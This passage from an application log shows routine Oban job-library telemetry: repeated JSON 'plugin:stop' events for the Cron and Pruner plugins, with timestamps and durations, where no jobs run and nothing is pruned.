{"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:47:18.813 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:48.814 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.475 [info] {"source":"oban","duration":146,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:48:18.815 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:48.817 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.476 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:49:18.819 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:48.821 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.477 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:50:18.822 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:48.823 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.478 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:51:18.824 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:48.825 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.479 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:52:18.826 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:48.827 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.480 [info] {"source":"oban","duration":391,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:53:18.828 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:48.829 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.481 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:54:18.830 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:48.831 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.482 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:55:18.832 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:48.833 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.483 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:56:18.834 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:48.836 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.484 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:57:18.838 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:48.839 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.485 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:58:18.840 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:48.841 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.486 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:59:18.842 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:48.843 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.487 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:00:18.844 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:48.845 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.488 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:01:18.846 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:48.847 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.489 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:02:18.848 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:48.850 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.490 [info] {"source":"oban","duration":128,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:03:18.851 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:48.852 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.491 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:04:18.853 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:48.854 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.492 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:05:18.855 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:48.856 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.493 [info] {"source":"oban","duration":339,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:06:18.857 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:48.858 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.494 [info] {"source":"oban","duration":273,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:07:18.859 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:48.860 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.495 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:08:18.861 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:48.862 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.496 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:09:18.863 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:48.864 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.497 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:10:18.865 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:48.867 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.498 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:11:18.868 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:48.869 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.499 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:12:18.870 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:48.871 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.500 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:13:18.872 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:48.873 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.501 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:14:18.874 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:48.875 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.502 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:15:18.877 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:48.878 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.503 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:16:18.879 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:48.880 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.504 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:17:18.881 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:48.882 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.505 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:18:18.884 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:48.885 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.506 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:19:18.886 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:48.887 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.507 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:20:18.888 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:48.890 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.509 [info] {"source":"oban","duration":377,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:21:18.892 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:48.893 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.509 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:22:18.894 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:48.896 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.510 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:23:18.897 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:48.898 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.511 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:24:18.899 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:48.900 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.512 [info] {"source":"oban","duration":320,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:25:18.901 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:48.903 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.513 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:26:18.904 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:48.905 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.514 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:27:18.907 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:48.908 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.515 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:28:18.910 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:48.911 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.516 [info] {"source":"oban","duration":345,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:29:18.912 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:48.913 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.517 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:30:18.914 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:48.915 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.518 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:31:18.916 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:48.917 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.519 [info] {"source":"oban","duration":127,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:32:18.918 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:48.919 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.520 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:33:18.920 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:48.922 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.521 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:34:18.923 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:48.924 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.522 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:35:18.925 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:48.926 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.523 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:36:18.927 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:48.928 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.524 [info] {"source":"oban","duration":312,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:37:18.929 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:48.931 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.525 [info] {"source":"oban","duration":310,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:38:18.932 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:48.933 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.526 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:39:18.934 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:48.935 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.527 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:40:18.936 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:48.937 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.528 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:41:18.938 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:48.940 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.529 [info] {"source":"oban","duration":307,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:42:18.941 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:48.942 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.530 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:43:18.943 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:48.944 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.531 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:44:18.945 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:48.946 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.532 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:45:18.947 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:48.948 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.533 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:46:18.949 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:48.950 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.534 [info] {"source":"oban","duration":277,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:47:18.951 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:48.952 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.535 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:48:18.953 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:48.955 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.536 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:49:18.956 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:48.957 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.537 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:50:18.958 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:48.959 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.538 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:51:18.961 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:48.962 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.539 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:52:18.963 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:48.964 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.540 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:53:18.965 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:48.966 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.541 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:54:18.968 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:48.969 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.542 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:55:18.970 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:48.971 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.543 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:56:18.972 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:48.973 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.544 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:57:18.975 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:48.977 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.545 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:58:18.978 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:48.979 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.547 [info] {"source":"oban","duration":411,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:59:18.980 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:48.981 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.547 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:00:18.982 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:48.983 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.548 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:01:18.984 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:48.985 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.549 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:02:18.986 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:48.988 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.551 [info] {"source":"oban","duration":267,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:03:18.990 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:48.991 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.551 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:04:18.992 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:48.993 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.553 [info] {"source":"oban","duration":389,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:05:18.994 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:48.995 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.554 [info] {"source":"oban","duration":294,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:06:18.996 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:48.998 [info] 